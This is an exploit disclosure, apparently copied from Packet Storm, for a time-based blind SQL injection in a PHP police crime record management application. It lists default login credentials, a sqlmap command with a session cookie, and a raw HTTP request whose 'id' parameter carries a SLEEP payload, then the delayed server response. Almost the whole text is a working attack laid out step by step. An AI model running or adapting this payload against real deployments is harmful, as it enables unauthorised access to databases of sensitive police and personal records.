# Date: 12/08/2021
# Exploit Author: Ömer Hasan Durmuş
# Software Link: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html
# Version: v1.0
# Category: Webapps
# Tested on: Linux/Windows
Step 1 : Login CID account in http://TARGET/ghpolice/login.php default credentials. (005:12345)
STEP 2 : Send the following request
or
Use sqlmap : python sqlmap.py -u "
http://TARGET/ghpolice/cid/casedetails.php?id=210728101"
--cookie="PHPSESSID=ev8vn1d1de5hjrv9273dunao8j" --dbs -vv
# Request
GET
/ghpolice/cid/casedetails.php?id=210728101'+AND+(SELECT+2115+FROM+(SELECT(SLEEP(5)))GQtj)+AND'gKJE'='gKJE
HTTP/1.1
Host: target.com
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://target.com/ghpolice/cid/
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=ev8vn1d1de5hjrv9273dunao8j
Connection: close
# Response after 5 seconds
HTTP/1.1 200 OK
Date: Thu, 12 Aug 2021 21:32:47 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.4.14
X-Powered-By: PHP/7.4.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6913
Connection: close
Content-Type: text/html; charset=UTF-8
...
...
...
Source:packetstormsecurity.com